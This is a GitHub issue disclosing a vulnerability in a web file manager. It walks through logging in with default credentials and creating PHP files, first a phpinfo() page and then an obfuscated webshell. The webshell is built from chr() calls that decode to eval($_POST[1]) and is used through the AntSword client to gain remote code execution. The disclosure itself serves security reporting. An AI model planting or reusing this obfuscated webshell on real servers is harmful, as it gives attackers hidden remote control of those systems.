Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Dangerous php files can be created resulting in information leakage and RCE #55

Open
WindyAlexQ opened this issue Apr 18, 2024 · 0 comments

Comments

@WindyAlexQ
Copy link

  1. Enter the page using the default username and password.

1713406204_24286

  1. Click "New File" to create a new file named test.php.

1713406296_6629

  1. The content of test.php is <? php phpinfo(); ? >

1713406427_30333

  1. Access test.php directly

1713406474_32602

  1. Follow the steps above to create the file test2.php with the following contents (for confused webshell)
    <?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

  2. Connect using AntSword

1713406657_29122

  1. You can get the webshell

1713406714_30908

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant